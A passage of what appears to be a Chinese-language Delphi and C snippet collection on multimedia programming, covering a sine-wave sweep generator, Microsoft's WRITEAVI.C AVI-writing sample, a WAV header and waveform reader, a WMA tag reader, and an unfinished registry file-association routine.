p_wave_hdr1 := pWaveHdr (GlobalLock (hWave_hdr1));

if p_wave_hdr1 = nil then

ShowMessage ('Failed to re-lock buffer p_wave_hdr1!');

p_wave_hdr2 := pWaveHdr (GlobalLock (hWave_hdr2));

if p_wave_hdr2 = nil then

ShowMessage ('Failed to re-lock buffer p_wave_hdr2!');

lblFnow.Visible := False;

btnStart.Caption := 'Start';

hWave_out := 0;

closed := true;

if closing then Close;

end;

procedure TForm1.do_sine_table;

var

i: 0..sine_table_samples - 1;

y, magnitude: extended;

begin

if sine_table_done then Exit; // nothing to do

// convert dB to a mathematical fraction of full amplitude

case level of

dB0: magnitude := 1.0;

dB3: magnitude := 0.707;

dB6: magnitude := 0.5;

dB9: magnitude := 0.354;

dB12: magnitude := 0.25;

dB15: magnitude := 0.177;

dB18: magnitude := 0.125;

dB20: magnitude := 0.1;

else

magnitude := 0.25; // should never be here, but just in case.....

end;

// yes, I realise we could symmetry to reduce the number of computations

// required, but it really doesn't take that long.

for i := 0 to sine_table_samples - 1 do

begin

// Assume 16-bit audio goes from -32767..32767, avoids clipping.

// There are only 2^15 samples here, this simplfies the subsequent angle

// calculation but might restrict the dynamic range produced with noise

// sidebands. However, in the quality of equipment likely to be

// encountered this won't matter. You've got the source code, so

// you can alter this if you like.

y := round (magnitude * (32767.0 * sin (2.0* i * Pi / sine_table_samples)));

sine_table^ [i] := round (y);

end;

sine_table_done := true;

end;

procedure TForm1.fill_buffer_with_sinewave (bfr: pBuffer; index, samples:

integer);

const

fract_bits = 15;

var

sample: integer;

d_angle: integer; // 32-bit number, with 14 fractional bits, i.e. 17.15

max_angle: integer;

w: audio_sample;

begin

// compute the angular step per sample corresponding to the desired frequency

d_angle := round ((sine_table_samples shl fract_bits) * f / sample_rate);

// this is the maximum number of samples in the sine table

max_angle := (sine_table_samples shl fract_bits) - 1;

for sample := 0 to samples - 1 do

begin

w := sine_table^ [angle shr fract_bits]; // get current sine value

bfr^ [index] := w; // store it in the caller's

buffer

Inc (index); // bump the buffer pointer

Inc (angle, d_angle); // bump the angle

angle := angle and max_angle; // wrap to 360 degrees

end;

end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

stop_sweep;

shutoff := true;

end;

procedure TForm1.edtF1Change(Sender: TObject);

begin

f:=strtoint(edtf1.Text);

end;

procedure TForm1.btnStartClick(Sender: TObject);

begin

{is a sweep running? if so, stop it}

if sweep_running

then stop_sweep

else start_sweep;

end;

end.

nNn

bqq:2080 sSs | bBb

____________________-_-|_/__/____

| 我爱编程 xcejian&163.com |

------------------------------------

_/_/_/_/ 梦想让人飞翔

_/_/_/_/ 深蓝之波 snb

_/_/_/_/ 2001-07-22

_/_/_/_/_/_/_/_/


AVI文件

下面是MSDN中找到的，可以写入一个AVI文件，当初是为了把Bitmap转换成AVI而搜的：）

WRITEAVI.C

/************************************************************************** *

* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY * KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR * PURPOSE.

* * Copyright 1992 - 1998 Microsoft Corporation. All Rights Reserved.

/****************************************************************************

* * WRITEAVI.C

* * Creates the file OUTPUT.AVI, an AVI file consisting of a rotating clock * face. This program demonstrates using the functions in AVIFILE.DLL * to make writing AVI files simple. * * This is a stripped-down example; a real application would have a user * interface and check for errors. *

***************************************************************************/

#define STRICT #define INC_OLE2 #include <windows.h> #include <windowsx.h> #include <memory.h>

#include <mmsystem.h> #include <vfw.h> #include "writeavi.h"

//---------------------------------------------------------------------------

// Defines

//---------------------------------------------------------------------------

// Our movie is 160x120 and 15 frames long

// #define BITMAP_X160 #define BITMAP_Y120 #define N_FRAMES15 #define TEXT_HEIGHT20

#define AVIIF_KEYFRAME0x00000010L // this frame is a key frame. #define BUFSIZE 260

#define LPLPBILPBITMAPINFOHEADER *

//---------------------------------------------------------------------------

// Function declarations

//---------------------------------------------------------------------------

static void FreeFrames(LPLPBI) ;

static void MakeFrames(LPLPBI, UINT, UINT, UINT) ;

static HANDLE MakeDib(HBITMAP, UINT);

//---------------------------------------------------------------------------

// A quick lookup table for Sin and Cos values

//--------------------------------------------------------------------------- //

static int aSin[N_FRAMES] = { 0, 40, 74, 95, 99, 86, 58, 20, -20, -58, -86, -99, -95, -74, -40, } ;

static int aCos[N_FRAMES] = { 100, 91, 66, 30, -10, -49, -80, -97, -97, -80, -50,-10,30, 66, 91, } ;

//---------------------------------------------------------------------------- //

// We don't have a window, we just pop up a dialog // box, write the file, and quit //

int PASCAL WinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR szCmdLine,

int sw)

{

LPBITMAPINFOHEADER alpbi[N_FRAMES];

int i;

AVISTREAMINFO strhdr;

PAVIFILE pfile = NULL;

PAVISTREAM ps = NULL, psCompressed = NULL, psText = NULL;

char szText[BUFSIZE];

int iLen;

AVICOMPRESSOPTIONS opts;

AVICOMPRESSOPTIONS FAR * aopts[1] = {&opts};

HRESULT hr;

DWORD dwTextFormat;

WORD wVer;

char szTitle[BUFSIZE];

char szMessage[BUFSIZE];

/* first let's make sure we are running on 1.1 */

wVer = HIWORD(VideoForWindowsVersion());

if (wVer < 0x010a){

/* oops, we are too old, blow out of here */

LoadString(hInstance, IDS_APPERR, szTitle, BUFSIZE );

LoadString(hInstance, IDS_VFWTOOOLD, szMessage, BUFSIZE );

MessageBeep(MB_ICONHAND);

MessageBox(NULL, szMessage, szTitle, MB_OK|MB_ICONSTOP);

return FALSE;

}

alpbi[0] = NULL;

LoadString(hInstance, IDS_APPNAME, szTitle, BUFSIZE );

LoadString(hInstance, IDS_INTRO, szMessage, BUFSIZE );

if (MessageBox(NULL, szMessage, szTitle, MB_OKCANCEL) == IDCANCEL)

return 0;

// Set up the bitmaps for the file in an array

MakeFrames(alpbi, 8, BITMAP_X, BITMAP_Y);

AVIFileInit();

// Open the movie file for writing....

LoadString(hInstance, IDS_FILENAME, szTitle, BUFSIZE );

hr = AVIFileOpen(&pfile, // returned file pointer

szTitle, // file name

OF_WRITE | OF_CREATE, // mode to open file with

NULL); // use handler determined

// from file extension....

if (hr != AVIERR_OK)

goto error;

// Fill in the header for the video stream....

// The video stream will run in 15ths of a second....

_fmemset(&strhdr, 0, sizeof(strhdr));

strhdr.fccType = streamtypeVIDEO;// stream type

strhdr.fccHandler = 0;

strhdr.dwScale = 1;

strhdr.dwRate = 15; // 15 fps

strhdr.dwSuggestedBufferSize = alpbi[0]->biSizeImage;

SetRect(&strhdr.rcFrame, 0, 0, // rectangle for stream

(int) alpbi[0]->biWidth,

(int) alpbi[0]->biHeight);

// And create the stream;

hr = AVIFileCreateStream(pfile, // file pointer

&ps, // returned stream pointer

&strhdr); // stream header

if (hr != AVIERR_OK) {

goto error;

}

_fmemset(&opts, 0, sizeof(opts));

if (!AVISaveOptions(NULL, 0, 1, &ps, (LPAVICOMPRESSOPTIONS FAR *) &aopts))

goto error;

hr = AVIMakeCompressedStream(&psCompressed, ps, &opts, NULL);

if (hr != AVIERR_OK) {

goto error;

}

hr = AVIStreamSetFormat(psCompressed, 0,

alpbi[0], // stream format

alpbi[0]->biSize + // format size

alpbi[0]->biClrUsed * sizeof(RGBQUAD));

if (hr != AVIERR_OK) {

goto error;

}

// Fill in the stream header for the text stream....

// The text stream is in 60ths of a second....

_fmemset(&strhdr, 0, sizeof(strhdr));

strhdr.fccType = streamtypeTEXT;

strhdr.fccHandler = mmioFOURCC('D', 'R', 'A', 'W');

strhdr.dwScale = 1;

strhdr.dwRate = 60;

strhdr.dwSuggestedBufferSize = sizeof(szText);

SetRect(&strhdr.rcFrame, 0, (int) alpbi[0]->biHeight,

(int) alpbi[0]->biWidth, (int) alpbi[0]->biHeight + TEXT_HEIGHT);

// ....and create the stream.

hr = AVIFileCreateStream(pfile, &psText, &strhdr);

if (hr != AVIERR_OK) {

goto error;

} dwTextFormat = sizeof(dwTextFormat);

hr = AVIStreamSetFormat(psText, 0, &dwTextFormat, sizeof(dwTextFormat));

if (hr != AVIERR_OK) {

goto error;

}

// Now write out each video frame, along with a text label.

// The video frames are 2/3 of a second apart, which is 10

// in the video time scale and 40 in the text stream's time scale.

for (i = 0; i < N_FRAMES; i++) {

hr = AVIStreamWrite(psCompressed,// stream pointer

i * 10,// time of this frame

1,// number to write

(LPBYTE) alpbi[i] +// pointer to data

alpbi[i]->biSize +

alpbi[i]->biClrUsed * sizeof(RGBQUAD),

alpbi[i]->biSizeImage,// size of this frame

AVIIF_KEYFRAME, // flags....

NULL,

NULL);

if (hr != AVIERR_OK)

break;

// Make some text to put in the file ...

LoadString(hInstance, IDS_TEXTFORMAT, szMessage, BUFSIZE );

iLen = wsprintf(szText, szMessage, (int)(i + 1));

// ... and write it as well.

hr = AVIStreamWrite(psText,

i * 40,

1,

szText,

iLen + 1,

AVIIF_KEYFRAME,

NULL,

NULL);

if (hr != AVIERR_OK)

break;

}

error:

//

// Now close the file

//

if (ps)

AVIStreamClose(ps);

if (psCompressed)

AVIStreamClose(psCompressed);

if (psText)

AVIStreamClose(psText);

if (pfile)

AVIFileClose(pfile);

AVIFileExit();

FreeFrames(alpbi);

if (hr != NOERROR) {

LoadString(hInstance, IDS_APPERR, szTitle, BUFSIZE );

LoadString(hInstance, IDS_WRITEERR, szMessage, BUFSIZE );

MessageBox(NULL, szMessage, szTitle, MB_OK);

}

return 0;

}

// // Fill an array of LPBI's with the frames for this movie //

static void MakeFrames(LPLPBI alpbi, UINT bits, UINT wXSize,UINT wYSize )

{

HDC hdc ;

HDC hdcMem ;

HBITMAP hbitmap,hbitmapOld ;

HPEN hpen3,hpen1,hpenwhite,hpenOld ;

HFONT hfont,hfontOld ;

HBRUSH hbrush,hbrushOld ;

RECT rc ;

RECT rcFrameNo ;

int wXCent,wYCent ;

int cxPixInch ;

int cyPixInch ;

int cxPixels ;

int cyPixels ;

int radius ;

int x0,y0,x1,y1 ;

int i,j ;

char szNumber[3] ;

// // Make sure our resources are freed //

FreeFrames(alpbi);

// // Find the center of the movie //

wXCent = wXSize/2 ;

wYCent = wYSize/2 ;

hdc = GetDC(NULL) ;

hdcMem = CreateCompatibleDC(NULL) ;

/// We need some gray and white brushes and pens, and a bitmap //

hpen3 = CreatePen(PS_SOLID,3,RGB(128,128,128)) ;

hpen1 = CreatePen(PS_SOLID,1,RGB(64,64,64));

hpenwhite = CreatePen(PS_SOLID,1,RGB(255,255,255));

hpenOld = SelectPen(hdcMem, hpen3);

hbrush = CreateSolidBrush(RGB(192,192,192)) ;

hbrushOld = SelectBrush(hdcMem,hbrush) ;

hbitmap = CreateCompatibleBitmap(hdc,wXSize,wYSize) ;

cxPixInch = GetDeviceCaps(hdc,LOGPIXELSX) ;

cyPixInch = GetDeviceCaps(hdc,LOGPIXELSY) ;

//// What radius of circle can we fit in this frame? Make sure it's round

// regardless of the aspect ratio //

radius = ( wXSize < wYSize ) ? wXSize : (wYSize*cxPixInch)/cyPixInch ;

radius = ( radius * 95 ) / 200 ;

// // Make a Rectangle in the center where the number will go //

/* x0 = radius / sqrt(2) */

x0 = (radius*100)/141 ;

y0 = (x0*cyPixInch)/cxPixInch ;

x0 = (x0*9)/10 ;

y0 = (y0*9)/10 ;

SetRect( &rcFrameNo,wXCent-x0,wYCent-y0,wXCent+x0,wYCent+y0 ) ;

// // Move the rectangle in a little and make a font big enough for it //

x0 = (x0*9)/10 ;

y0 = (y0*9)/10 ;

hfont = CreateFont(

y0*2,

x0,

0,

0,

FW_BOLD,

0,

0,

0,

ANSI_CHARSET,

OUT_DEVICE_PRECIS,

CLIP_DEFAULT_PRECIS,

DEFAULT_QUALITY,

DEFAULT_PITCH|FF_SWISS,

NULL

);

hfontOld = SelectFont(hdcMem, hfont);

// // Now walk through and make all the frames //

for ( i=0; i<N_FRAMES; i++ ) {

hbitmapOld = SelectBitmap(hdcMem, hbitmap);

// // Fill the whole frame with white //

SetRect(&rc,0,0,wXSize,wYSize) ;

FillRect(hdcMem,&rc,GetStockBrush(WHITE_BRUSH)) ;

// // Draw the circle inside the previously calculated radius //

cxPixels = radius ;

cyPixels = (cxPixels*cyPixInch)/cxPixInch ;

SelectPen(hdcMem,hpen3) ;

Ellipse(hdcMem,wXCent-cxPixels,wYCent-cyPixels,wXCent+cxPixels,

wYCent+cyPixels) ;

SelectPen(hdcMem,hpen1) ;

// // Draw the number in the previously calculated area //

wsprintf(szNumber,"%02u",i+1) ;

SetBkColor(hdcMem,RGB(192,192,192)) ;

SetTextColor(hdcMem,RGB(255,255,255)) ;

ExtTextOut(

hdcMem,

rcFrameNo.left,

rcFrameNo.top+(rcFrameNo.bottom-rcFrameNo.top)/20,

ETO_CLIPPED,

&rcFrameNo,

szNumber,

2,

NULL);

// // Draw tic marks around the inside of the circle in equal divisions //

for ( j=0; j<N_FRAMES; j++ ) {

x0 = (radius*aSin[j])/100 ;

y0 = (radius*aCos[j])/100 ;

x1 = (((radius*aSin[j])/100)*11)/12 ;

y1 = (((radius*aCos[j])/100)*11)/12 ;

y0 = -(y0*cyPixInch)/cxPixInch ;

y1 = -(y1*cyPixInch)/cxPixInch ;

MoveToEx(hdcMem,wXCent+x0,wYCent+y0,NULL) ;

LineTo(hdcMem,wXCent+x1,wYCent+y1) ;

}

// // Now draw the hand of the clock in the appropriate position //

x1 = (((radius*aSin[i])/100)*5)/8 ;

y1 = (((radius*aCos[i])/100)*5)/8 ;

y1 = -(y1*cyPixInch)/cxPixInch ;

MoveToEx(hdcMem,wXCent,wYCent,NULL) ;

LineTo(hdcMem,wXCent+x1,wYCent+y1) ;

SelectBitmap(hdcMem, hbitmapOld);

// // Make this into a DIB and stuff it into the array //

alpbi[i] = (LPBITMAPINFOHEADER)GlobalLock(MakeDib(hbitmap, bits));

// // For an error, just duplicate the last frame if we can //

if (alpbi[i] == NULL && i )

alpbi[i] = alpbi[i-1] ;

}

//// Select all the old objects back and delete resources //

SelectPen(hdcMem, hpenOld);

SelectBrush(hdcMem,hbrushOld) ;

SelectFont(hdcMem,hfontOld) ;

DeletePen(hpen1) ;

DeletePen(hpen3) ;

DeletePen(hpenwhite) ;

DeleteBrush(hbrush) ;

DeleteBitmap(hbitmap) ;

DeleteFont(hfont) ;

DeleteObject(hdcMem) ;

ReleaseDC(NULL,hdc) ;

}

// // Walk through our array of LPBI's and free them //

static void FreeFrames(LPLPBI alpbi)

{

UINT w ;

if (!alpbi[0])

return ;

// // Don't free a frame if it's a duplicate of the previous one //

for (w=0; w<N_FRAMES; w++)

if (alpbi[w] && alpbi[w] != alpbi[w-1])

GlobalFreePtr(alpbi[w]);

for (w=0; w<N_FRAMES; w++)

alpbi[w] = NULL;

}

/*

** MakeDib(hbitmap)

**

** Take the given bitmap and transform it into a DIB with parameters:

**

** BitsPerPixel: 8

** Colors: palette

**

*/

static HANDLE MakeDib( HBITMAP hbitmap, UINT bits )

{

HANDLE hdib ;

HDC hdc ;

BITMAP bitmap ;

UINT wLineLen ;

DWORD dwSize ;

DWORD wColSize ;

LPBITMAPINFOHEADER lpbi ;

LPBYTE lpBits ;

GetObject(hbitmap,sizeof(BITMAP),&bitmap) ;

//// DWORD align the width of the DIB

// Figure out the size of the colour table

// Calculate the size of the DIB //

wLineLen = (bitmap.bmWidth*bits+31)/32 * 4;

wColSize = sizeof(RGBQUAD)*((bits <= 8) ? 1<<bits : 0);

dwSize = sizeof(BITMAPINFOHEADER) + wColSize +

(DWORD)(UINT)wLineLen*(DWORD)(UINT)bitmap.bmHeight;

// // Allocate room for a DIB and set the LPBI fields //

hdib = GlobalAlloc(GHND,dwSize);

if (!hdib)

return hdib ;

lpbi = (LPBITMAPINFOHEADER)GlobalLock(hdib) ;

lpbi->biSize = sizeof(BITMAPINFOHEADER) ;

lpbi->biWidth = bitmap.bmWidth ;

lpbi->biHeight = bitmap.bmHeight ;

lpbi->biPlanes = 1 ;

lpbi->biBitCount = (WORD) bits ;

lpbi->biCompression = BI_RGB ;

lpbi->biSizeImage = dwSize - sizeof(BITMAPINFOHEADER) - wColSize ;

lpbi->biXPelsPerMeter = 0 ;

lpbi->biYPelsPerMeter = 0 ;

lpbi->biClrUsed = (bits <= 8) ? 1<<bits : 0;

lpbi->biClrImportant = 0 ;

//

// Get the bits from the bitmap and stuff them after the LPBI

//

lpBits = (LPBYTE)(lpbi+1)+wColSize ;

hdc = CreateCompatibleDC(NULL) ;

GetDIBits(hdc,hbitmap,0,bitmap.bmHeight,lpBits,(LPBITMAPINFO)lpbi, DIB_RGB_COLORS);

// Fix this if GetDIBits messed it up....

lpbi->biClrUsed = (bits <= 8) ? 1<<bits : 0;

DeleteDC(hdc) ;

GlobalUnlock(hdib);

return hdib ;

}


波形图和WAV信息

波形图和WAV信息

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls;

type

TPCMWaveHeader = record

rID: array[0..3] of char; // 'RIFF' 标志

rLen: longint; // 文件长度

wID: array[0..3] of char; // 'WAVE' 标志

fId: array[0..3] of char; // 'fmt '标志 以空格结束(fID[3]:=Chr($20);)

fLen: longint; // 过度字节（不定）

wFormatTag: word; // 格式字节（过度字节为PCM形式的声音数据）

nChannels: word; // 通道数 单声道=1, 双声道=2 }

nSamplesPerSec: longint; // 采样频率 （每秒样本数），表示每个通道的播放速度

nAvgBytesPerSec: longint; // 波形音频数据传送速度（值：通道数X每秒数据位数X每

// 样本的数据位数/8。播放软件利用根据此值估计缓

// 冲区的大小）

nBlockAlign: word; // 数据块的调整数（按字节计算），值为通道数*没样本的数据位值/8。

// 播放软件需要一次处理多个该值大小的字节数据，以便

// 将其值用于缓冲区的调整。

nBitsPerSample: word; // 每样本数据位数，表示每个声道中各个样本的数据位

// 数。如果有多个声道，对每个声道而言，样本大

// 小都一样 8 or 16

dId: array[0..3] of char; // 'data' 标志

dLen: longint; // 语音数据长度

end;

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

Button2: TButton;

Button3: TButton;

Image1: TImage;

procedure Button2Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

filename: string;

pcm: TPCMWaveHeader;

Data: array[0..80 * 10240] of Byte;

procedure PrintPcm;

procedure PrintData;

public

{ Public declarations }

end;

var

Form1 : TForm1;

implementation

{$R *.DFM}

procedure TForm1.PrintPcm;

begin

// memo1.lines.add('FileName:' + Filename);

memo1.lines.add('RIFF:' + pcm.rID);

memo1.lines.add('RLEN:' + inttostr(pcm.rLen));

memo1.lines.add('WAVE:' + pcm.wID);

memo1.lines.add('fmt:' + pcm.fId);

memo1.lines.add('Fixed:' + inttostr(pcm.fLen));

memo1.lines.add('wFormatTag:' + inttostr(pcm.wFormatTag));

memo1.lines.add('nChannels:' + inttostr(pcm.nChannels));

memo1.lines.add('nSamplesPerSec:' + inttostr(pcm.nSamplesPerSec));

memo1.lines.add('nAvgBytesPerSec:' + inttostr(pcm.nAvgBytesPerSec));

memo1.lines.add('nBlockAlign:' + inttostr(pcm.nBlockAlign));

memo1.lines.add('nBitsPerSample:' + inttostr(pcm.nBitsPerSample));

memo1.lines.add('dLen:' + inttostr(pcm.dLen));

end;

procedure TForm1.Button2Click(Sender: TObject);

var

iFileHandle : Integer;

iFileLength : Integer;

iBytesRead : Integer;

Buffer : PChar;

i, Size : Integer;

begin

iFileHandle := FileOpen(filename, fmOpenRead);

iFileLength := FileSeek(iFileHandle, 0, 2) - FileSeek(iFileHandle, 0, 0);

GetMem(Buffer, iFileLength + 1);

iBytesRead := FileRead(iFileHandle, Buffer^, iFileLength); //把文件读到buffer

FileClose(iFileHandle);

Move((Buffer)^, pcm, sizeof(pcm));

Move((Buffer)^, Data, pcm.dLen);

printpcm; //显示头信息

printData; //画波形图

FreeMem(Buffer);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

filename := 'C:登录音.wav';

end;

procedure TForm1.PrintData;

var

i : Integer;

begin

for i := 0 to pcm.dLen - 1 do

begin

//memo1.lines.add(inttostr(Data[i]));

Canvas.LineTo(i, Data[i])

end;

end;

end.


WMV的歌曲信息

unit WMAfile;

interface

uses

Classes, SysUtils;

const

{ Channel modes }

WMA_CM_UNKNOWN = 0; { Unknown }

WMA_CM_MONO = 1; { Mono }

WMA_CM_STEREO = 2; { Stereo }

{ Channel mode names }

WMA_MODE: array [0..2] of string = ('Unknown', 'Mono', 'Stereo');

type

{ Class TWMAfile }

TWMAfile = class(TObject)

private

{ Private declarations }

FValid: Boolean;

FFileSize: Integer;

FChannelModeID: Byte;

FSampleRate: Integer;

FDuration: Double;

FBitRate: Integer;

FTitle: WideString;

FArtist: WideString;

FAlbum: WideString;

FTrack: Integer;

FYear: WideString;

FGenre: WideString;

FComment: WideString;

procedure FResetData;

function FGetChannelMode: string;

public

{ Public declarations }

constructor Create; { Create object }

function ReadFromFile(const FileName: string): Boolean; { Load data }

property Valid: Boolean read FValid; { True if valid data }

property FileSize: Integer read FFileSize; { File size (bytes) }

property ChannelModeID: Byte read FChannelModeID; { Channel mode code }

property ChannelMode: string read FGetChannelMode; { Channel mode name }

property SampleRate: Integer read FSampleRate; { Sample rate (hz) }

property Duration: Double read FDuration; { Duration (seconds) }

property BitRate: Integer read FBitRate; { Bit rate (kbit) }

property Title: WideString read FTitle; { Song title }

property Artist: WideString read FArtist; { Artist name }

property Album: WideString read FAlbum; { Album name }

property Track: Integer read FTrack; { Track number }

property Year: WideString read FYear; { Year }

property Genre: WideString read FGenre; { Genre name }

property Comment: WideString read FComment; { Comment }

end;

implementation

const

{ Object IDs }

WMA_HEADER_ID =

#48#38#178#117#142#102#207#17#166#217#0#170#0#98#206#108;

WMA_FILE_PROPERTIES_ID =

#161#220#171#140#71#169#207#17#142#228#0#192#12#32#83#101;

WMA_STREAM_PROPERTIES_ID =

#145#7#220#183#183#169#207#17#142#230#0#192#12#32#83#101;

WMA_CONTENT_DESCRIPTION_ID =

#51#38#178#117#142#102#207#17#166#217#0#170#0#98#206#108;

WMA_EXTENDED_CONTENT_DESCRIPTION_ID =

#64#164#208#210#7#227#210#17#151#240#0#160#201#94#168#80;

{ Max. number of supported comment fields }

WMA_FIELD_COUNT = 7;

{ Names of supported comment fields }

WMA_FIELD_NAME: array [1..WMA_FIELD_COUNT] of WideString =

('WM/TITLE', 'WM/AUTHOR', 'WM/ALBUMTITLE', 'WM/TRACK', 'WM/YEAR',

'WM/GENRE', 'WM/DESCRIPTION');

{ Max. number of characters in tag field }

WMA_MAX_STRING_SIZE = 250;

type

{ Object ID }

ObjectID = array [1..16] of Char;

{ Tag data }

TagData = array [1..WMA_FIELD_COUNT] of WideString;

{ File data - for internal use }

FileData = record

FileSize: Integer; { File size (bytes) }

MaxBitRate: Integer; { Max. bit rate (bps) }

Channels: Word; { Number of channels }

SampleRate: Integer; { Sample rate (hz) }

ByteRate: Integer; { Byte rate }

Tag: TagData; { WMA tag information }

end;

{ ********************* Auxiliary functions & procedures ******************** }

function ReadFieldString(const Source: TStream; DataSize: Word): WideString;

var

Iterator, StringSize: Integer;

FieldData: array [1..WMA_MAX_STRING_SIZE * 2] of Byte;

begin

{ Read field data and convert to Unicode string }

Result := '';

StringSize := DataSize div 2;

if StringSize > WMA_MAX_STRING_SIZE then StringSize := WMA_MAX_STRING_SIZE;

Source.ReadBuffer(FieldData, StringSize * 2);

Source.Seek(DataSize - StringSize * 2, soFromCurrent);

for Iterator := 1 to StringSize do

Result := Result +

WideChar(FieldData[Iterator * 2 - 1] + (FieldData[Iterator * 2] shl 8));

end;

{ --------------------------------------------------------------------------- }

procedure ReadTagStandard(const Source: TStream; var Tag: TagData);

var

Iterator: Integer;

FieldSize: array [1..5] of Word;

FieldValue: WideString;

begin

{ Read standard tag data }

Source.ReadBuffer(FieldSize, SizeOf(FieldSize));

for Iterator := 1 to 5 do

if FieldSize[Iterator] > 0 then

begin

{ Read field value }

FieldValue := ReadFieldString(Source, FieldSize[Iterator]);

{ Set corresponding tag field if supported }

case Iterator of

1: Tag[1] := FieldValue;

2: Tag[2] := FieldValue;

4: Tag[7] := FieldValue;

end;

end;

end;

{ --------------------------------------------------------------------------- }

procedure ReadTagExtended(const Source: TStream; var Tag: TagData);

var

Iterator1, Iterator2, FieldCount, DataSize, DataType: Word;

FieldName, FieldValue: WideString;

begin

{ Read extended tag data }

Source.ReadBuffer(FieldCount, SizeOf(FieldCount));

for Iterator1 := 1 to FieldCount do

begin

{ Read field name }

Source.ReadBuffer(DataSize, SizeOf(DataSize));

FieldName := ReadFieldString(Source, DataSize);

{ Read value data type }

Source.ReadBuffer(DataType, SizeOf(DataType));

{ Read field value only if string }

if DataType = 0 then

begin

Source.ReadBuffer(DataSize, SizeOf(DataSize));

FieldValue := ReadFieldString(Source, DataSize);

end

else

Source.Seek(DataSize, soFromCurrent);

{ Set corresponding tag field if supported }

for Iterator2 := 1 to WMA_FIELD_COUNT do

if UpperCase(Trim(FieldName)) = WMA_FIELD_NAME[Iterator2] then

Tag[Iterator2] := FieldValue;

end;

end;

{ --------------------------------------------------------------------------- }

procedure ReadObject(const ID: ObjectID; Source: TStream; var Data: FileData);

begin

{ Read data from header object if supported }

if ID = WMA_FILE_PROPERTIES_ID then

begin

{ Read file properties }

Source.Seek(80, soFromCurrent);

Source.ReadBuffer(Data.MaxBitRate, SizeOf(Data.MaxBitRate));

end;

if ID = WMA_STREAM_PROPERTIES_ID then

begin

{ Read stream properties }

Source.Seek(60, soFromCurrent);

Source.ReadBuffer(Data.Channels, SizeOf(Data.Channels));

Source.ReadBuffer(Data.SampleRate, SizeOf(Data.SampleRate));

Source.ReadBuffer(Data.ByteRate, SizeOf(Data.ByteRate));

end;

if ID = WMA_CONTENT_DESCRIPTION_ID then

begin

{ Read standard tag data }

Source.Seek(4, soFromCurrent);

ReadTagStandard(Source, Data.Tag);

end;

if ID = WMA_EXTENDED_CONTENT_DESCRIPTION_ID then

begin

{ Read extended tag data }

Source.Seek(4, soFromCurrent);

ReadTagExtended(Source, Data.Tag);

end;

end;

{ --------------------------------------------------------------------------- }

function ReadData(const FileName: string; var Data: FileData): Boolean;

var

Source: TFileStream;

ID: ObjectID;

Iterator, ObjectCount, ObjectSize, Position: Integer;

begin

{ Read file data }

try

Source := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);

Data.FileSize := Source.Size;

{ Check for existing header }

Source.ReadBuffer(ID, SizeOf(ID));

if ID = WMA_HEADER_ID then

begin

Source.Seek(8, soFromCurrent);

Source.ReadBuffer(ObjectCount, SizeOf(ObjectCount));

Source.Seek(2, soFromCurrent);

{ Read all objects in header and get needed data }

for Iterator := 1 to ObjectCount do

begin

Position := Source.Position;

Source.ReadBuffer(ID, SizeOf(ID));

Source.ReadBuffer(ObjectSize, SizeOf(ObjectSize));

ReadObject(ID, Source, Data);

Source.Seek(Position + ObjectSize, soFromBeginning);

end;

end;

Source.Free;

Result := true;

except

Result := false;

end;

end;

{ --------------------------------------------------------------------------- }

function IsValid(const Data: FileData): Boolean;

begin

{ Check for data validity }

Result :=

(Data.MaxBitRate > 0) and (Data.MaxBitRate < 320000) and

((Data.Channels = WMA_CM_MONO) or (Data.Channels = WMA_CM_STEREO)) and

(Data.SampleRate >= 8000) and (Data.SampleRate <= 96000) and

(Data.ByteRate > 0) and (Data.ByteRate < 40000);

end;

{ --------------------------------------------------------------------------- }

function ExtractTrack(const TrackString: WideString): Integer;

var

Value, Code: Integer;

begin

{ Extract track from string }

Result := 0;

Val(TrackString, Value, Code);

if Code = 0 then Result := Value;

end;

{ ********************** Private functions & procedures ********************* }

procedure TWMAfile.FResetData;

begin

{ Reset variables }

FValid := false;

FFileSize := 0;

FChannelModeID := WMA_CM_UNKNOWN;

FSampleRate := 0;

FDuration := 0;

FBitRate := 0;

FTitle := '';

FArtist := '';

FAlbum := '';

FTrack := 0;

FYear := '';

FGenre := '';

FComment := '';

end;

{ --------------------------------------------------------------------------- }

function TWMAfile.FGetChannelMode: string;

begin

{ Get channel mode name }

Result := WMA_MODE[FChannelModeID];

end;

{ ********************** Public functions & procedures ********************** }

constructor TWMAfile.Create;

begin

{ Create object }

inherited;

FResetData;

end;

{ --------------------------------------------------------------------------- }

function TWMAfile.ReadFromFile(const FileName: string): Boolean;

var

Data: FileData;

begin

{ Reset variables and load file data }

FResetData;

FillChar(Data, SizeOf(Data), 0);

Result := ReadData(FileName, Data);

{ Process data if loaded and valid }

if Result and IsValid(Data) then

begin

FValid := true;

{ Fill properties with loaded data }

FFileSize := Data.FileSize;

FChannelModeID := Data.Channels;

FSampleRate := Data.SampleRate;

FDuration := Data.FileSize * 8 / Data.MaxBitRate;

FBitRate := Data.ByteRate * 8 div 1000;

FTitle := Trim(Data.Tag[1]);

FArtist := Trim(Data.Tag[2]);

FAlbum := Trim(Data.Tag[3]);

FTrack := ExtractTrack(Trim(Data.Tag[4]));

FYear := Trim(Data.Tag[5]);

FGenre := Trim(Data.Tag[6]);

FComment := Trim(Data.Tag[7]);

end;

end;

end.


注册表文件关联

uses

registry, shlobj;

procedure TForm1.RegisterFileType(prefix: string; exepfad: string);

var

reg: TRegistry;

begin

reg := TRegistry.Create;

try

reg.RootKey := HKEY_CLASSES_ROOT;

//create a new key --> .pci

reg.OpenKey('.' + prefix, True);

try

//create a new value for this key --> pcifile

reg.Writestring('', prefix + 'file');

finally

reg.CloseKey;

end;

//create a new key --> pcifile

reg.CreateKey(prefix + 'file');

//create a new key pcifile

reg.OpenKey(prefix + 'file', True);

//and create a value where the icon is stored --> c:.exe,0

try

reg.Writestring('', exepfad + ',0');

finally

reg.CloseKey;

end;

reg.OpenKey(prefix + 'file', True);

